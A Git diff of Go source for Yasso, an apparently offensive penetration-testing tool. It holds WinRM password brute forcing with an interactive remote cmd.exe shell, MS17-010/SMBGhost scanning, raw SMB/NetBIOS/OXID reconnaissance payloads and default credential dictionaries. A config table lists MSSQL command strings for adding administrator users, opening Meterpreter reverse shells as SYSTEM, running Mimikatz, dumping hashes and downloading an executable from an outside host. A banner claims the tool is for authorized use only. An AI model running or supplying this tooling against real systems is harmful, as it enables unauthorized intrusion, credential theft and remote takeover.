if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" {
//result set sql
r, err := SQLExecute(db, sqlstr)
if err != nil {
Println(fmt.Sprintf("%v", err))
}
Println(fmt.Sprintf("%v", r))
} else {
//no result set sql
r, err := SQLExecute(db, sqlstr)
if err != nil {
Println(fmt.Sprintf("%v", err))
}
Println(fmt.Sprintf("%v", r))
}
}
if sqlstr == "exit" {
Println("exit sql shell")
break
}
}
}

View File

@@ -1,17 +0,0 @@
package cmd
import (
"github.com/spf13/cobra"
)
var versionCmd = &cobra.Command{
Use: "version",
Short: "Print Yasso's version in screen",
Run: func(cmd *cobra.Command, args []string) {
Println("Yasso Version is 0.1.2")
},
}
func init() {
rootCmd.AddCommand(versionCmd)
}

View File

@@ -1,78 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"strings"
"sync"
)
// smbghost eternalblue
var (
ms17010bool bool
smbGohstbool bool
allbool bool
)
var VulCmd = &cobra.Command{
Use: "vulscan",
Short: "Host Vulnerability Scanning (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts)
} else {
Println("Yasso scanner need a hosts")
return
}
if smbGohstbool == true || ms17010bool == true || allbool == true {
Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips)))
}
VulScan(ips, ms17010bool, allbool, smbGohstbool)
},
}
func init() {
VulCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
VulCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
VulCmd.Flags().BoolVar(&smbGohstbool, "gs", false, "scan smbghost")
VulCmd.Flags().BoolVar(&ms17010bool, "ms", false, "scan ms17010")
VulCmd.Flags().BoolVar(&allbool, "all", true, "scan all vuln contains ms17010,smbghost")
rootCmd.AddCommand(VulCmd)
}
func VulScan(ips []string, ms17010bool bool, allbool bool, smbGohstbool bool) {
var wg sync.WaitGroup
p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) {
if ms17010bool == true || allbool == true {
Ms17010Conn(config.HostIn{
Host: ip.(string),
Port: 445,
TimeOut: TimeDuration,
})
}
if smbGohstbool == true || allbool == true {
SmbGhostConn(config.HostIn{
Host: ip.(string),
Port: 445,
TimeOut: TimeDuration,
})
}
wg.Done()
})
for _, ip := range ips {
if strings.Contains(ip, ":") && !strings.Contains(ip, ":445") {
continue
}
wg.Add(1)
_ = p.Invoke(ip)
}
wg.Wait()
}

View File

@@ -1,116 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/masterzen/winrm"
"github.com/spf13/cobra"
"io"
"net"
"os"
)
var WinRMCmd = &cobra.Command{
Use: "winrm",
Short: "winrm burst and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
WinBurpByUser()
}
},
}
func init() {
WinRMCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)")
WinRMCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
WinRMCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
WinRMCmd.Flags().BoolVar(&WinRMbool, "shell", false, "Get a cmd shell with WinRM")
WinRMCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute system command")
}
func WinBurpByUser() {
if BrutePort == 0 {
BrutePort = 5985
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm 和 rdp认证相同
Println("[*] Brute Module [winrm]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("winrm", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {
auth, b, err := WinRMAuth(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] WinRM Auth Failed %v", err))
return
}
if SQLCommand != "" && b == true {
WinRMShell(auth, SQLCommand, false)
}
if WinRMbool == true && b == true {
WinRMShell(auth, "", true)
}
}
}
func WinRMAuth(info config.HostIn, user, pass string) (*winrm.Client, bool, error) {
var err error
params := winrm.DefaultParameters
// 设置代理认证
params.Dial = func(network, addr string) (net.Conn, error) {
return GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
}
// 设置输入
endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0)
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
stdout := os.Stdout
res, err := client.Run("echo ISOK > nul", stdout, os.Stderr)
if err != nil {
return nil, false, err
}
if res == 0 && err == nil {
return client, true, nil
}
return nil, false, err
}
func WinRMShell(client *winrm.Client, Command string, shell bool) {
if shell == true {
shell, err := client.CreateShell()
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v", err))
return
}
var cmd *winrm.Command
cmd, err = shell.Execute("cmd.exe")
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v", err))
return
}
go io.Copy(cmd.Stdin, os.Stdin)
go io.Copy(os.Stdout, cmd.Stdout)
go io.Copy(os.Stderr, cmd.Stderr)
cmd.Wait()
shell.Close()
} else {
_, err := client.Run(Command, os.Stdout, os.Stderr)
if err != nil {
Println(fmt.Sprintf("[!] Execute Command failed %v", err))
return
}
}
}

View File

@@ -1,552 +0,0 @@
package cmd
import (
"bytes"
"fmt"
"github.com/spf13/cobra"
"net"
"strconv"
"strings"
"sync"
"time"
)
var netbiosflag bool
var smbflag bool
var oxidflag bool
var allflag bool
var WinCmd = &cobra.Command{
Use: "winscan",
Short: "netbios、smb、oxid scan",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
} else {
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips)))
winscan(ips, allflag)
},
}
func init() {
rootCmd.AddCommand(WinCmd)
WinCmd.Flags().BoolVar(&smbflag, "smb", false, "Set smb flag and use smb scan")
WinCmd.Flags().BoolVar(&netbiosflag, "netbios", false, "Set netbios flag and use netbios scan")
WinCmd.Flags().BoolVar(&oxidflag, "oxid", false, "Set oxid flag and use oxid scan")
WinCmd.Flags().BoolVar(&allflag, "all", true, "Set all flag and use oxid,netbios,smb scan")
WinCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
WinCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set net conn timeout")
WinCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy and use it")
}
func winscan(host []string, allay bool) {
if netbiosflag == true {
NbtScan(host)
} else if smbflag == true {
SmbScan(host)
} else if oxidflag == true {
OxidScan(host)
} else if allay == true {
runall(host)
} else {
Println("[*] Your need set netbios、smb、oxid flag")
}
}
var oxidQuery1 = [...]byte{
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10,
0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00,
0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00,
0x00, 0x00,
}
var oxidQuery2 = [...]byte{
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x05, 0x00,
}
func ConncetNbios(ip string, port int) (string, int, error, []string) {
nbname, err := netBios(ip)
if nbname.msg != "" {
return ip, port, nil, []string{nbname.msg}
}
return ip, port, err, nil
}
var smbQuery = [...]byte{
0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06,
0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20,
0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00,
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
}
func netBios(host string) (nbname NbnsName, err error) {
nbname, err = getNbnsname(host)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", host, 139)
conn, err := GetConn(realhost, TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
if len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
if err != nil {
return
}
_, err = readbytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "\n\t-------------------------------------------\n\t"
nbname.msg += msg1 + "\n\t"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content))
}
}
nbname.msg = strings.TrimSpace(nbname.msg)
return nbname, err
}
func getNbnsname(host string) (nbname NbnsName, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", host, 137)
conn, err := net.DialTimeout("udp", realhost, TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
msg := ""
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n\t", name)
}
}
nbname.msg += msg
nbname.msg = strings.TrimSpace(nbname.msg)
return
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := one + 0x41
output = append(output, byte(out))
}
return
}
func Connectoxid(ip string, port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
err, oxidres := oxidIpInfo(conn)
if err != nil {
return ip, port, err, nil
} else {
return ip, port, nil, oxidres
}
}
func oxidIpInfo(conn net.Conn) (error, []string) {
buf := make([]byte, 256)
_, err := conn.Write(oxidQuery1[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
_, err = conn.Write(oxidQuery2[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00})
if len(buf) < 40 || end == -1 {
return fmt.Errorf(""), nil
}
buf = buf[40:end]
var oxidRes []string
for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; {
res := buf[1:i]
res = bytes.Replace(res, []byte{0x00}, []byte(""), -1)
oxidRes = append(oxidRes, string(res))
buf = buf[i+3:]
i = bytes.Index(buf, []byte{0x00, 0x00, 0x00})
}
return nil, oxidRes
}
func smbinfo(conn net.Conn) (error, []string) {
buf := make([]byte, 1024)
_, err := conn.Write(smbQuery[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
if len(buf) < 81 {
return fmt.Errorf(""), nil
}
buf = buf[81:]
end := bytes.Index(buf, []byte{0x00, 0x00, 0x00})
var smbRes []string
domain := buf[:end]
hostname := buf[end:]
domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1)
hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1)
smbRes = append(smbRes, "domain: "+string(domain))
smbRes = append(smbRes, "hostname: "+string(hostname))
return nil, smbRes
}
func Connectsmb(ip string, port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
ok, smbRes := smbinfo(conn)
if ok == nil {
return ip, port, nil, smbRes
} else {
return ip, port, ok, nil
}
}
func OxidScan(host []string) {
//result := PortScan(host,[]int{135})
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
_, _, err, r := Connectoxid(v, 135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:]))
} else {
Println(fmt.Sprintf("[OXID] %v", r))
}
}(v)
}
wg.Wait()
}
func SmbScan(host []string) {
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
ip, _, err, r := Connectsmb(v, 445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v", ip, r))
}
}(v)
}
wg.Wait()
}
func NbtScan(host []string) {
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
_, _, err, r := ConncetNbios(v, 139)
if err != nil {
return
}
for _, s := range r {
Println(fmt.Sprintf("[+] %v", v))
Println(fmt.Sprintf("\t%v", s))
}
}(v)
}
wg.Wait()
}
func runall(host []string) {
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
func(v string) {
_, _, err, r := ConncetNbios(v, 139)
if err != nil {
return
}
for _, s := range r {
Println(fmt.Sprintf("[NBTBIOS] %v", v))
Println(fmt.Sprintf("\t%v", s))
}
}(v)
func(v string) {
ip, _, err, r := Connectsmb(v, 445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v", ip, r))
}
}(v)
func(v string) {
_, _, err, r := Connectoxid(v, 135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:]))
} else {
Println(fmt.Sprintf("[OXID] %v", r))
}
}(v)
}(v)
}
wg.Wait()
}

16
config/banner/banner.go Normal file
View File

@@ -0,0 +1,16 @@
package banner
import (
"fmt"
)
func Banner() {
fmt.Println("_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/")
fmt.Println()
fmt.Println("Refactoring version: Yasso v0.1.6")
fmt.Println("法律免责声明:")
fmt.Println("本工具仅面向合法授权的企业安全建设行为,如果需要测试本工具的可用性,请自行搭建靶场检测")
fmt.Println("在使用本工具时,请确保你的操作符合当地的法律法规,并且获取到足够的授权,请勿对非授权目标使用")
fmt.Println("使用本工具造成的非法行为,你需要自行承担后果,我们不受任何的法律及其连带责任,如果使用本工具,则视为接受本协议")
fmt.Println("Github: github.com/sairson/Yasso")
}

View File

@@ -1,77 +1,50 @@
package config
import (
"time"
)
import "time"
// about login struct
type HostIn struct {
Host string
// ServiceConn service 连接所需要的结构体
type ServiceConn struct {
Hostname string
Port int
Domain string
TimeOut time.Duration
Timeout time.Duration
PublicKey string
}
// 爆破的默认用户名
var Userdict = map[string][]string{
var UserDict = map[string][]string{
"ftp": {"kali", "ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest", "Oadmin"},
"winrm": {"administrator", "admin", "guest"},
"postgres": {"postgres", "admin"},
"ssh": {"root", "admin", "kali", "oracle", "www"},
"mongodb": {"root", "admin"},
"redis": {"root"},
}
// 爆破的默认密码
var PassDict = []string{"123456", "admin", "admin123", "12312", "pass123", "pass@123", "11", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"}
var Passwords = []string{"123456", "admin", "admin123", "root", "12312", "pass123", "pass@123", "930517", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"}
var DefaultScannerPort = []int{21, 22, 25, 53, 69, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 110, 135, 137, 138, 139, 143, 389, 443, 445, 554, 587, 631, 800, 801, 808, 880, 888, 1000, 1024, 1025, 1080, 1099, 1389, 1433, 1521, 2000, 2001, 2222, 2601, 3306, 3307, 3388, 3389, 3443, 5800, 5900, 6379, 7000, 7001, 7007, 7010, 7788, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8030, 8060, 8070, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8161, 8175, 8188, 8189, 8443, 8445, 8448, 8554, 8800, 8848, 8880, 8881, 8888, 8899, 8983, 8989, 9000, 9001, 9002, 9008, 9010, 9043, 9060, 9080, 9081, 9082, 9083, 9084, 9085, 9086, 9087, 9088, 9089, 9090, 9091, 9092, 9093, 9094, 9095, 9096, 9097, 9099, 9443, 9448, 9600, 9628, 9800, 9899, 9981, 9986, 9988, 9998, 9999, 11001, 13443, 15000, 20000, 33890, 45554, 49155, 49156, 50050, 61616}
var WarKitHelp = [][]string{
{"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"},
{"EXEC sp_cmdExec 'whoami'", "Any Windows command"},
{"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"},
{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"},
{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"},
{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"},
{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`},
{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"},
{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"},
{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"},
{`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`},
{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`},
{`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`},
{`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`},
{`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`},
